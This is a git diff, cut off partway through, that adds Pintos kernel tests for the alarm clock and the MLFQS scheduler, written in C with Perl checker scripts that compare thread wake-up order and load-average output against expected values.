diff --git a/src/tests/threads/alarm-negative.c b/src/tests/threads/alarm-negative.c
new file mode 100644
index 0000000..aec52cf
--- /dev/null
+++ b/src/tests/threads/alarm-negative.c
@@ -0,0 +1,15 @@
+/* Tests timer_sleep(-100). Only requirement is that it not crash. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+void
+test_alarm_negative (void)
+{
+ timer_sleep (-100);
+ pass ();
+}
diff --git a/src/tests/threads/alarm-negative.ck b/src/tests/threads/alarm-negative.ck
new file mode 100644
index 0000000..0d2bab0
--- /dev/null
+++ b/src/tests/threads/alarm-negative.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(alarm-negative) begin
+(alarm-negative) PASS
+(alarm-negative) end
+EOF
+pass;
diff --git a/src/tests/threads/alarm-priority.c b/src/tests/threads/alarm-priority.c
new file mode 100644
index 0000000..2288ff6
--- /dev/null
+++ b/src/tests/threads/alarm-priority.c
@@ -0,0 +1,58 @@
+/* Checks that when the alarm clock wakes up threads, the
+ higher-priority threads run first. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static thread_func alarm_priority_thread;
+static int64_t wake_time;
+static struct semaphore wait_sema;
+
+void
+test_alarm_priority (void)
+{
+ int i;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ wake_time = timer_ticks () + 5 * TIMER_FREQ;
+ sema_init (&wait_sema, 0);
+
+ for (i = 0; i < 10; i++)
+ {
+ int priority = PRI_DEFAULT - (i + 5) % 10 - 1;
+ char name[16];
+ snprintf (name, sizeof name, "priority %d", priority);
+ thread_create (name, priority, alarm_priority_thread, NULL);
+ }
+
+ thread_set_priority (PRI_MIN);
+
+ for (i = 0; i < 10; i++)
+ sema_down (&wait_sema);
+}
+
+static void
+alarm_priority_thread (void *aux UNUSED)
+{
+ /* Busy-wait until the current time changes. */
+ int64_t start_time = timer_ticks ();
+ while (timer_elapsed (start_time) == 0)
+ continue;
+
+ /* Now we know we're at the very beginning of a timer tick, so
+ we can call timer_sleep() without worrying about races
+ between checking the time and a timer interrupt. */
+ timer_sleep (wake_time - timer_ticks ());
+
+ /* Print a message on wake-up. */
+ msg ("Thread %s woke up.", thread_name ());
+
+ sema_up (&wait_sema);
+}
diff --git a/src/tests/threads/alarm-priority.ck b/src/tests/threads/alarm-priority.ck
new file mode 100644
index 0000000..b57c78b
--- /dev/null
+++ b/src/tests/threads/alarm-priority.ck
@@ -0,0 +1,19 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(alarm-priority) begin
+(alarm-priority) Thread priority 30 woke up.
+(alarm-priority) Thread priority 29 woke up.
+(alarm-priority) Thread priority 28 woke up.
+(alarm-priority) Thread priority 27 woke up.
+(alarm-priority) Thread priority 26 woke up.
+(alarm-priority) Thread priority 25 woke up.
+(alarm-priority) Thread priority 24 woke up.
+(alarm-priority) Thread priority 23 woke up.
+(alarm-priority) Thread priority 22 woke up.
+(alarm-priority) Thread priority 21 woke up.
+(alarm-priority) end
+EOF
+pass;
diff --git a/src/tests/threads/alarm-simultaneous.c b/src/tests/threads/alarm-simultaneous.c
new file mode 100644
index 0000000..844eea4
--- /dev/null
+++ b/src/tests/threads/alarm-simultaneous.c
@@ -0,0 +1,94 @@
+/* Creates N threads, each of which sleeps a different, fixed
+ duration, M times. Records the wake-up order and verifies
+ that it is valid. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static void test_sleep (int thread_cnt, int iterations);
+
+void
+test_alarm_simultaneous (void)
+{
+ test_sleep (3, 5);
+}
+
+/* Information about the test. */
+struct sleep_test
+ {
+ int64_t start; /* Current time at start of test. */
+ int iterations; /* Number of iterations per thread. */
+ int *output_pos; /* Current position in output buffer. */
+ };
+
+static void sleeper (void *);
+
+/* Runs THREAD_CNT threads thread sleep ITERATIONS times each. */
+static void
+test_sleep (int thread_cnt, int iterations)
+{
+ struct sleep_test test;
+ int *output;
+ int i;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ msg ("Creating %d threads to sleep %d times each.", thread_cnt, iterations);
+ msg ("Each thread sleeps 10 ticks each time.");
+ msg ("Within an iteration, all threads should wake up on the same tick.");
+
+ /* Allocate memory. */
+ output = malloc (sizeof *output * iterations * thread_cnt * 2);
+ if (output == NULL)
+ PANIC ("couldn't allocate memory for test");
+
+ /* Initialize test. */
+ test.start = timer_ticks () + 100;
+ test.iterations = iterations;
+ test.output_pos = output;
+
+ /* Start threads. */
+ ASSERT (output != NULL);
+ for (i = 0; i < thread_cnt; i++)
+ {
+ char name[16];
+ snprintf (name, sizeof name, "thread %d", i);
+ thread_create (name, PRI_DEFAULT, sleeper, &test);
+ }
+
+ /* Wait long enough for all the threads to finish. */
+ timer_sleep (100 + iterations * 10 + 100);
+
+ /* Print completion order. */
+ msg ("iteration 0, thread 0: woke up after %d ticks", output[0]);
+ for (i = 1; i < test.output_pos - output; i++)
+ msg ("iteration %d, thread %d: woke up %d ticks later",
+ i / thread_cnt, i % thread_cnt, output[i] - output[i - 1]);
+
+ free (output);
+}
+
+/* Sleeper thread. */
+static void
+sleeper (void *test_)
+{
+ struct sleep_test *test = test_;
+ int i;
+
+ /* Make sure we're at the beginning of a timer tick. */
+ timer_sleep (1);
+
+ for (i = 1; i <= test->iterations; i++)
+ {
+ int64_t sleep_until = test->start + i * 10;
+ timer_sleep (sleep_until - timer_ticks ());
+ *test->output_pos++ = timer_ticks () - test->start;
+ thread_yield ();
+ }
+}
diff --git a/src/tests/threads/alarm-simultaneous.ck b/src/tests/threads/alarm-simultaneous.ck
new file mode 100644
index 0000000..406b8b0
--- /dev/null
+++ b/src/tests/threads/alarm-simultaneous.ck
@@ -0,0 +1,27 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(alarm-simultaneous) begin
+(alarm-simultaneous) Creating 3 threads to sleep 5 times each.
+(alarm-simultaneous) Each thread sleeps 10 ticks each time.
+(alarm-simultaneous) Within an iteration, all threads should wake up on the same tick.
+(alarm-simultaneous) iteration 0, thread 0: woke up after 10 ticks
+(alarm-simultaneous) iteration 0, thread 1: woke up 0 ticks later
+(alarm-simultaneous) iteration 0, thread 2: woke up 0 ticks later
+(alarm-simultaneous) iteration 1, thread 0: woke up 10 ticks later
+(alarm-simultaneous) iteration 1, thread 1: woke up 0 ticks later
+(alarm-simultaneous) iteration 1, thread 2: woke up 0 ticks later
+(alarm-simultaneous) iteration 2, thread 0: woke up 10 ticks later
+(alarm-simultaneous) iteration 2, thread 1: woke up 0 ticks later
+(alarm-simultaneous) iteration 2, thread 2: woke up 0 ticks later
+(alarm-simultaneous) iteration 3, thread 0: woke up 10 ticks later
+(alarm-simultaneous) iteration 3, thread 1: woke up 0 ticks later
+(alarm-simultaneous) iteration 3, thread 2: woke up 0 ticks later
+(alarm-simultaneous) iteration 4, thread 0: woke up 10 ticks later
+(alarm-simultaneous) iteration 4, thread 1: woke up 0 ticks later
+(alarm-simultaneous) iteration 4, thread 2: woke up 0 ticks later
+(alarm-simultaneous) end
+EOF
+pass;
diff --git a/src/tests/threads/alarm-single.ck b/src/tests/threads/alarm-single.ck
new file mode 100644
index 0000000..31215df
--- /dev/null
+++ b/src/tests/threads/alarm-single.ck
@@ -0,0 +1,4 @@
+# -*- perl -*-
+use tests::tests;
+use tests::threads::alarm;
+check_alarm (1);
diff --git a/src/tests/threads/alarm-wait.c b/src/tests/threads/alarm-wait.c
new file mode 100644
index 0000000..37d3afc
--- /dev/null
+++ b/src/tests/threads/alarm-wait.c
@@ -0,0 +1,152 @@
+/* Creates N threads, each of which sleeps a different, fixed
+ duration, M times. Records the wake-up order and verifies
+ that it is valid. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static void test_sleep (int thread_cnt, int iterations);
+
+void
+test_alarm_single (void)
+{
+ test_sleep (5, 1);
+}
+
+void
+test_alarm_multiple (void)
+{
+ test_sleep (5, 7);
+}
+
+/* Information about the test. */
+struct sleep_test
+ {
+ int64_t start; /* Current time at start of test. */
+ int iterations; /* Number of iterations per thread. */
+
+ /* Output. */
+ struct lock output_lock; /* Lock protecting output buffer. */
+ int *output_pos; /* Current position in output buffer. */
+ };
+
+/* Information about an individual thread in the test. */
+struct sleep_thread
+ {
+ struct sleep_test *test; /* Info shared between all threads. */
+ int id; /* Sleeper ID. */
+ int duration; /* Number of ticks to sleep. */
+ int iterations; /* Iterations counted so far. */
+ };
+
+static void sleeper (void *);
+
+/* Runs THREAD_CNT threads thread sleep ITERATIONS times each. */
+static void
+test_sleep (int thread_cnt, int iterations)
+{
+ struct sleep_test test;
+ struct sleep_thread *threads;
+ int *output, *op;
+ int product;
+ int i;
+
+ /* This test does not work with the MLFQS. */
+ ASSERT (!thread_mlfqs);
+
+ msg ("Creating %d threads to sleep %d times each.", thread_cnt, iterations);
+ msg ("Thread 0 sleeps 10 ticks each time,");
+ msg ("thread 1 sleeps 20 ticks each time, and so on.");
+ msg ("If successful, product of iteration count and");
+ msg ("sleep duration will appear in nondescending order.");
+
+ /* Allocate memory. */
+ threads = malloc (sizeof *threads * thread_cnt);
+ output = malloc (sizeof *output * iterations * thread_cnt * 2);
+ if (threads == NULL || output == NULL)
+ PANIC ("couldn't allocate memory for test");
+
+ /* Initialize test. */
+ test.start = timer_ticks () + 100;
+ test.iterations = iterations;
+ lock_init (&test.output_lock);
+ test.output_pos = output;
+
+ /* Start threads. */
+ ASSERT (output != NULL);
+ for (i = 0; i < thread_cnt; i++)
+ {
+ struct sleep_thread *t = threads + i;
+ char name[16];
+
+ t->test = &test;
+ t->id = i;
+ t->duration = (i + 1) * 10;
+ t->iterations = 0;
+
+ snprintf (name, sizeof name, "thread %d", i);
+ thread_create (name, PRI_DEFAULT, sleeper, t);
+ }
+
+ /* Wait long enough for all the threads to finish. */
+ timer_sleep (100 + thread_cnt * iterations * 10 + 100);
+
+ /* Acquire the output lock in case some rogue thread is still
+ running. */
+ lock_acquire (&test.output_lock);
+
+ /* Print completion order. */
+ product = 0;
+ for (op = output; op < test.output_pos; op++)
+ {
+ struct sleep_thread *t;
+ int new_prod;
+
+ ASSERT (*op >= 0 && *op < thread_cnt);
+ t = threads + *op;
+
+ new_prod = ++t->iterations * t->duration;
+
+ msg ("thread %d: duration=%d, iteration=%d, product=%d",
+ t->id, t->duration, t->iterations, new_prod);
+
+ if (new_prod >= product)
+ product = new_prod;
+ else
+ fail ("thread %d woke up out of order (%d > %d)!",
+ t->id, product, new_prod);
+ }
+
+ /* Verify that we had the proper number of wakeups. */
+ for (i = 0; i < thread_cnt; i++)
+ if (threads[i].iterations != iterations)
+ fail ("thread %d woke up %d times instead of %d",
+ i, threads[i].iterations, iterations);
+
+ lock_release (&test.output_lock);
+ free (output);
+ free (threads);
+}
+
+/* Sleeper thread. */
+static void
+sleeper (void *t_)
+{
+ struct sleep_thread *t = t_;
+ struct sleep_test *test = t->test;
+ int i;
+
+ for (i = 1; i <= test->iterations; i++)
+ {
+ int64_t sleep_until = test->start + i * t->duration;
+ timer_sleep (sleep_until - timer_ticks ());
+ lock_acquire (&test->output_lock);
+ *test->output_pos++ = t->id;
+ lock_release (&test->output_lock);
+ }
+}
diff --git a/src/tests/threads/alarm-zero.c b/src/tests/threads/alarm-zero.c
new file mode 100644
index 0000000..c8a3ee2
--- /dev/null
+++ b/src/tests/threads/alarm-zero.c
@@ -0,0 +1,15 @@
+/* Tests timer_sleep(0), which should return immediately. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+void
+test_alarm_zero (void)
+{
+ timer_sleep (0);
+ pass ();
+}
diff --git a/src/tests/threads/alarm-zero.ck b/src/tests/threads/alarm-zero.ck
new file mode 100644
index 0000000..a6b1a3c
--- /dev/null
+++ b/src/tests/threads/alarm-zero.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(alarm-zero) begin
+(alarm-zero) PASS
+(alarm-zero) end
+EOF
+pass;
diff --git a/src/tests/threads/alarm.pm b/src/tests/threads/alarm.pm
new file mode 100644
index 0000000..84b3b7f
--- /dev/null
+++ b/src/tests/threads/alarm.pm
@@ -0,0 +1,32 @@
+sub check_alarm {
+ my ($iterations) = @_;
+ our ($test);
+
+ @output = read_text_file ("$test.output");
+ common_checks ("run", @output);
+
+ my (@products);
+ for (my ($i) = 0; $i < $iterations; $i++) {
+ for (my ($t) = 0; $t < 5; $t++) {
+ push (@products, ($i + 1) * ($t + 1) * 10);
+ }
+ }
+ @products = sort {$a <=> $b} @products;
+
+ local ($_);
+ foreach (@output) {
+ fail $_ if /out of order/i;
+
+ my ($p) = /product=(\d+)$/;
+ next if !defined $p;
+
+ my ($q) = shift (@products);
+ fail "Too many wakeups.\n" if !defined $q;
+ fail "Out of order wakeups ($p vs. $q).\n" if $p != $q; # FIXME
+ }
+ fail scalar (@products) . " fewer wakeups than expected.\n"
+ if @products != 0;
+ pass;
+}
+
+1;
diff --git a/src/tests/threads/mlfqs-block.c b/src/tests/threads/mlfqs-block.c
new file mode 100644
index 0000000..6d4992d
--- /dev/null
+++ b/src/tests/threads/mlfqs-block.c
@@ -0,0 +1,64 @@
+/* Checks that recent_cpu and priorities are updated for blocked
+ threads.
+
+ The main thread sleeps for 25 seconds, spins for 5 seconds,
+ then releases a lock. The "block" thread spins for 20 seconds
+ then attempts to acquire the lock, which will block for 10
+ seconds (until the main thread releases it). If recent_cpu
+ decays properly while the "block" thread sleeps, then the
+ block thread should be immediately scheduled when the main
+ thread releases the lock. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static void block_thread (void *lock_);
+
+void
+test_mlfqs_block (void)
+{
+ int64_t start_time;
+ struct lock lock;
+
+ ASSERT (thread_mlfqs);
+
+ msg ("Main thread acquiring lock.");
+ lock_init (&lock);
+ lock_acquire (&lock);
+
+ msg ("Main thread creating block thread, sleeping 25 seconds...");
+ thread_create ("block", PRI_DEFAULT, block_thread, &lock);
+ timer_sleep (25 * TIMER_FREQ);
+
+ msg ("Main thread spinning for 5 seconds...");
+ start_time = timer_ticks ();
+ while (timer_elapsed (start_time) < 5 * TIMER_FREQ)
+ continue;
+
+ msg ("Main thread releasing lock.");
+ lock_release (&lock);
+
+ msg ("Block thread should have already acquired lock.");
+}
+
+static void
+block_thread (void *lock_)
+{
+ struct lock *lock = lock_;
+ int64_t start_time;
+
+ msg ("Block thread spinning for 20 seconds...");
+ start_time = timer_ticks ();
+ while (timer_elapsed (start_time) < 20 * TIMER_FREQ)
+ continue;
+
+ msg ("Block thread acquiring lock...");
+ lock_acquire (lock);
+
+ msg ("...got it.");
+}
diff --git a/src/tests/threads/mlfqs-block.ck b/src/tests/threads/mlfqs-block.ck
new file mode 100644
index 0000000..8833a3a
--- /dev/null
+++ b/src/tests/threads/mlfqs-block.ck
@@ -0,0 +1,17 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected ([<<'EOF']);
+(mlfqs-block) begin
+(mlfqs-block) Main thread acquiring lock.
+(mlfqs-block) Main thread creating block thread, sleeping 25 seconds...
+(mlfqs-block) Block thread spinning for 20 seconds...
+(mlfqs-block) Block thread acquiring lock...
+(mlfqs-block) Main thread spinning for 5 seconds...
+(mlfqs-block) Main thread releasing lock.
+(mlfqs-block) ...got it.
+(mlfqs-block) Block thread should have already acquired lock.
+(mlfqs-block) end
+EOF
+pass;
diff --git a/src/tests/threads/mlfqs-fair-2.ck b/src/tests/threads/mlfqs-fair-2.ck
new file mode 100644
index 0000000..5b19ff1
--- /dev/null
+++ b/src/tests/threads/mlfqs-fair-2.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::threads::mlfqs;
+
+check_mlfqs_fair ([0, 0], 50);
diff --git a/src/tests/threads/mlfqs-fair-20.ck b/src/tests/threads/mlfqs-fair-20.ck
new file mode 100644
index 0000000..bb4d051
--- /dev/null
+++ b/src/tests/threads/mlfqs-fair-20.ck
@@ -0,0 +1,7 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::threads::mlfqs;
+
+check_mlfqs_fair ([(0) x 20], 20);
diff --git a/src/tests/threads/mlfqs-fair.c b/src/tests/threads/mlfqs-fair.c
new file mode 100644
index 0000000..3b1bea5
--- /dev/null
+++ b/src/tests/threads/mlfqs-fair.c
@@ -0,0 +1,124 @@
+/* Measures the correctness of the "nice" implementation.
+
+ The "fair" tests run either 2 or 20 threads all niced to 0.
+ The threads should all receive approximately the same number
+ of ticks. Each test runs for 30 seconds, so the ticks should
+ also sum to approximately 30 * 100 == 3000 ticks.
+
+ The mlfqs-nice-2 test runs 2 threads, one with nice 0, the
+ other with nice 5, which should receive 1,904 and 1,096 ticks,
+ respectively, over 30 seconds.
+
+ The mlfqs-nice-10 test runs 10 threads with nice 0 through 9.
+ They should receive 672, 588, 492, 408, 316, 232, 152, 92, 40,
+ and 8 ticks, respectively, over 30 seconds.
+
+ (The above are computed via simulation in mlfqs.pm.) */
+
+#include <stdio.h>
+#include <inttypes.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/palloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static void test_mlfqs_fair (int thread_cnt, int nice_min, int nice_step);
+
+void
+test_mlfqs_fair_2 (void)
+{
+ test_mlfqs_fair (2, 0, 0);
+}
+
+void
+test_mlfqs_fair_20 (void)
+{
+ test_mlfqs_fair (20, 0, 0);
+}
+
+void
+test_mlfqs_nice_2 (void)
+{
+ test_mlfqs_fair (2, 0, 5);
+}
+
+void
+test_mlfqs_nice_10 (void)
+{
+ test_mlfqs_fair (10, 0, 1);
+}
+
+#define MAX_THREAD_CNT 20
+
+struct thread_info
+ {
+ int64_t start_time;
+ int tick_count;
+ int nice;
+ };
+
+static void load_thread (void *aux);
+
+static void
+test_mlfqs_fair (int thread_cnt, int nice_min, int nice_step)
+{
+ struct thread_info info[MAX_THREAD_CNT];
+ int64_t start_time;
+ int nice;
+ int i;
+
+ ASSERT (thread_mlfqs);
+ ASSERT (thread_cnt <= MAX_THREAD_CNT);
+ ASSERT (nice_min >= -10);
+ ASSERT (nice_step >= 0);
+ ASSERT (nice_min + nice_step * (thread_cnt - 1) <= 20);
+
+ thread_set_nice (-20);
+
+ start_time = timer_ticks ();
+ msg ("Starting %d threads...", thread_cnt);
+ nice = nice_min;
+ for (i = 0; i < thread_cnt; i++)
+ {
+ struct thread_info *ti = &info[i];
+ char name[16];
+
+ ti->start_time = start_time;
+ ti->tick_count = 0;
+ ti->nice = nice;
+
+ snprintf(name, sizeof name, "load %d", i);
+ thread_create (name, PRI_DEFAULT, load_thread, ti);
+
+ nice += nice_step;
+ }
+ msg ("Starting threads took %"PRId64" ticks.", timer_elapsed (start_time));
+
+ msg ("Sleeping 40 seconds to let threads run, please wait...");
+ timer_sleep (40 * TIMER_FREQ);
+
+ for (i = 0; i < thread_cnt; i++)
+ msg ("Thread %d received %d ticks.", i, info[i].tick_count);
+}
+
+static void
+load_thread (void *ti_)
+{
+ struct thread_info *ti = ti_;
+ int64_t sleep_time = 5 * TIMER_FREQ;
+ int64_t spin_time = sleep_time + 30 * TIMER_FREQ;
+ int64_t last_time = 0;
+
+ thread_set_nice (ti->nice);
+ timer_sleep (sleep_time - timer_elapsed (ti->start_time));
+ while (timer_elapsed (ti->start_time) < spin_time)
+ {
+ int64_t cur_time = timer_ticks ();
+ if (cur_time != last_time)
+ ti->tick_count++;
+ last_time = cur_time;
+ }
+}
diff --git a/src/tests/threads/mlfqs-load-1.c b/src/tests/threads/mlfqs-load-1.c
new file mode 100644
index 0000000..a39eea2
--- /dev/null
+++ b/src/tests/threads/mlfqs-load-1.c
@@ -0,0 +1,60 @@
+/* Verifies that a single busy thread raises the load average to
+ 0.5 in 38 to 45 seconds. The expected time is 42 seconds, as
+ you can verify:
+ perl -e '$i++,$a=(59*$a+1)/60while$a<=.5;print "$i\n"'
+
+ Then, verifies that 10 seconds of inactivity drop the load
+ average back below 0.5 again. */
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+void
+test_mlfqs_load_1 (void)
+{
+ int64_t start_time;
+ int elapsed;
+ int load_avg;
+
+ ASSERT (thread_mlfqs);
+
+ msg ("spinning for up to 45 seconds, please wait...");
+
+ start_time = timer_ticks ();
+ for (;;)
+ {
+ load_avg = thread_get_load_avg ();
+ ASSERT (load_avg >= 0);
+ elapsed = timer_elapsed (start_time) / TIMER_FREQ;
+ if (load_avg > 100)
+ fail ("load average is %d.%02d "
+ "but should be between 0 and 1 (after %d seconds)",
+ load_avg / 100, load_avg % 100, elapsed);
+ else if (load_avg > 50)
+ break;
+ else if (elapsed > 45)
+ fail ("load average stayed below 0.5 for more than 45 seconds");
+ }
+
+ if (elapsed < 38)
+ fail ("load average took only %d seconds to rise above 0.5", elapsed);
+ msg ("load average rose to 0.5 after %d seconds", elapsed);
+
+ msg ("sleeping for another 10 seconds, please wait...");
+ timer_sleep (TIMER_FREQ * 10);
+
+ load_avg = thread_get_load_avg ();
+ if (load_avg < 0)
+ fail ("load average fell below 0");
+ if (load_avg > 50)
+ fail ("load average stayed above 0.5 for more than 10 seconds");
+ msg ("load average fell back below 0.5 (to %d.%02d)",
+ load_avg / 100, load_avg % 100);
+
+ pass ();
+}
diff --git a/src/tests/threads/mlfqs-load-1.ck b/src/tests/threads/mlfqs-load-1.ck
new file mode 100644
index 0000000..faf0ffa
--- /dev/null
+++ b/src/tests/threads/mlfqs-load-1.ck
@@ -0,0 +1,15 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+
+our ($test);
+my (@output) = read_text_file ("$test.output");
+
+common_checks ("run", @output);
+
+@output = get_core_output ("run", @output);
+fail "missing PASS in output"
+ unless grep ($_ eq '(mlfqs-load-1) PASS', @output);
+
+pass;
diff --git a/src/tests/threads/mlfqs-load-60.c b/src/tests/threads/mlfqs-load-60.c
new file mode 100644
index 0000000..b6a3eb6
--- /dev/null
+++ b/src/tests/threads/mlfqs-load-60.c
@@ -0,0 +1,155 @@
+/* Starts 60 threads that each sleep for 10 seconds, then spin in
+ a tight loop for 60 seconds, and sleep for another 60 seconds.
+ Every 2 seconds after the initial sleep, the main thread
+ prints the load average.
+
+ The expected output is this (some margin of error is allowed):
+
+ After 0 seconds, load average=1.00.
+ After 2 seconds, load average=2.95.
+ After 4 seconds, load average=4.84.
+ After 6 seconds, load average=6.66.
+ After 8 seconds, load average=8.42.
+ After 10 seconds, load average=10.13.
+ After 12 seconds, load average=11.78.
+ After 14 seconds, load average=13.37.
+ After 16 seconds, load average=14.91.
+ After 18 seconds, load average=16.40.
+ After 20 seconds, load average=17.84.
+ After 22 seconds, load average=19.24.
+ After 24 seconds, load average=20.58.
+ After 26 seconds, load average=21.89.
+ After 28 seconds, load average=23.15.
+ After 30 seconds, load average=24.37.
+ After 32 seconds, load average=25.54.
+ After 34 seconds, load average=26.68.
+ After 36 seconds, load average=27.78.
+ After 38 seconds, load average=28.85.
+ After 40 seconds, load average=29.88.
+ After 42 seconds, load average=30.87.
+ After 44 seconds, load average=31.84.
+ After 46 seconds, load average=32.77.
+ After 48 seconds, load average=33.67.
+ After 50 seconds, load average=34.54.
+ After 52 seconds, load average=35.38.
+ After 54 seconds, load average=36.19.
+ After 56 seconds, load average=36.98.
+ After 58 seconds, load average=37.74.
+ After 60 seconds, load average=37.48.
+ After 62 seconds, load average=36.24.
+ After 64 seconds, load average=35.04.
+ After 66 seconds, load average=33.88.
+ After 68 seconds, load average=32.76.
+ After 70 seconds, load average=31.68.
+ After 72 seconds, load average=30.63.
+ After 74 seconds, load average=29.62.
+ After 76 seconds, load average=28.64.
+ After 78 seconds, load average=27.69.
+ After 80 seconds, load average=26.78.
+ After 82 seconds, load average=25.89.
+ After 84 seconds, load average=25.04.
+ After 86 seconds, load average=24.21.
+ After 88 seconds, load average=23.41.
+ After 90 seconds, load average=22.64.
+ After 92 seconds, load average=21.89.
+ After 94 seconds, load average=21.16.
+ After 96 seconds, load average=20.46.
+ After 98 seconds, load average=19.79.
+ After 100 seconds, load average=19.13.
+ After 102 seconds, load average=18.50.
+ After 104 seconds, load average=17.89.
+ After 106 seconds, load average=17.30.
+ After 108 seconds, load average=16.73.
+ After 110 seconds, load average=16.17.
+ After 112 seconds, load average=15.64.
+ After 114 seconds, load average=15.12.
+ After 116 seconds, load average=14.62.
+ After 118 seconds, load average=14.14.
+ After 120 seconds, load average=13.67.
+ After 122 seconds, load average=13.22.
+ After 124 seconds, load average=12.78.
+ After 126 seconds, load average=12.36.
+ After 128 seconds, load average=11.95.
+ After 130 seconds, load average=11.56.
+ After 132 seconds, load average=11.17.
+ After 134 seconds, load average=10.80.
+ After 136 seconds, load average=10.45.
+ After 138 seconds, load average=10.10.
+ After 140 seconds, load average=9.77.
+ After 142 seconds, load average=9.45.
+ After 144 seconds, load average=9.13.
+ After 146 seconds, load average=8.83.
+ After 148 seconds, load average=8.54.
+ After 150 seconds, load average=8.26.
+ After 152 seconds, load average=7.98.
+ After 154 seconds, load average=7.72.
+ After 156 seconds, load average=7.47.
+ After 158 seconds, load average=7.22.
+ After 160 seconds, load average=6.98.
+ After 162 seconds, load average=6.75.
+ After 164 seconds, load average=6.53.
+ After 166 seconds, load average=6.31.
+ After 168 seconds, load average=6.10.
+ After 170 seconds, load average=5.90.
+ After 172 seconds, load average=5.70.
+ After 174 seconds, load average=5.52.
+ After 176 seconds, load average=5.33.
+ After 178 seconds, load average=5.16.
+*/
+
+#include <stdio.h>
+#include "tests/threads/tests.h"
+#include "threads/init.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "devices/timer.h"
+
+static int64_t start_time;
+
+static void load_thread (void *aux);
+
+#define THREAD_CNT 60
+
+void
+test_mlfqs_load_60 (void)
+{
+ int i;
+
+ ASSERT (thread_mlfqs);
+
+ start_time = timer_ticks ();
+ msg ("Starting %d niced load threads...", THREAD_CNT);
+ for (i = 0; i < THREAD_CNT; i++)
+ {
+ char name[16];
+ snprintf(name, sizeof name, "load %d", i);
+ thread_create (name, PRI_DEFAULT, load_thread, NULL);
+ }
+ msg ("Starting threads took %d seconds.",
+ timer_elapsed (start_time) / TIMER_FREQ);
+
+ for (i = 0; i < 90; i++)
+ {
+ int64_t sleep_until = start_time + TIMER_FREQ * (2 * i + 10);
+ int load_avg;
+ timer_sleep (sleep_until - timer_ticks ());
+ load_avg = thread_get_load_avg ();
+ msg ("After %d seconds, load average=%d.%02d.",
+ i * 2, load_avg / 100, load_avg % 100);
+ }
+}
+
+static void
+load_thread (void *aux UNUSED)
+{
+ int64_t sleep_time = 10 * TIMER_FREQ;
+ int64_t spin_time = sleep_time + 60 * TIMER_FREQ;
+ int64_t exit_time = spin_time + 60 * TIMER_FREQ;
+
+ thread_set_nice (20);
+ timer_sleep (sleep_time - timer_elapsed (start_time));
+ while (timer_elapsed (start_time) < spin_time)
+ continue;
+ timer_sleep (exit_time - timer_elapsed (start_time));
+}
diff --git a/src/tests/threads/mlfqs-load-60.ck b/src/tests/threads/mlfqs-load-60.ck
new file mode 100644
index 0000000..cb69220
--- /dev/null
+++ b/src/tests/threads/mlfqs-load-60.ck
@@ -0,0 +1,36 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+use tests::threads::mlfqs;
+
+our ($test);
+
+my (@output) = read_text_file ("$test.output");
+common_checks ("run", @output);
+@output = get_core_output ("run", @output);
+
+# Get actual values.
+local ($_);
+my (@actual);
+foreach (@output) {
+ my ($t, $load_avg) = /After (\d+) seconds, load average=(\d+\.\d+)\./
+ or next;
+ $actual[$t] = $load_avg;
+}
+
+# Calculate expected values.
+my ($load_avg) = 0;
+my ($recent) = 0;
+my (@expected);
+for (my ($t) = 0; $t < 180; $t++) {
+ my ($ready) = $t < 60 ? 60 : 0;
+ $load_avg = (59/60) * $load_avg + (1/60) * $ready;
+ $expected[$t] = $load_avg;
+}
+
+mlfqs_compare ("time", "%.2f", \@actual, \@expected, 3.5, [2, 178, 2],
+ "Some load average values were missing or "
+ . "differed from those expected "
+ . "by more than 3.5.");
+pass;
diff --git a/src/tests/threads/mlfqs-load-avg.c b/src/tests/threads/mlfqs-load-avg.c
new file mode 100644
index 0000000..50e83e2
--- /dev/null
+++ b/src/tests/threads/mlfqs-load-avg.c
@@ -0,0 +1,167 @@
+/* Starts 60 threads numbered 0 through 59. Thread #i sleeps for
+ (10+i) seconds, then spins in a loop for 60 seconds, then
+ sleeps until a total of 120 seconds have passed. Every 2
+ seconds, starting 10 seconds in, the main thread prints the
+ load average.
+
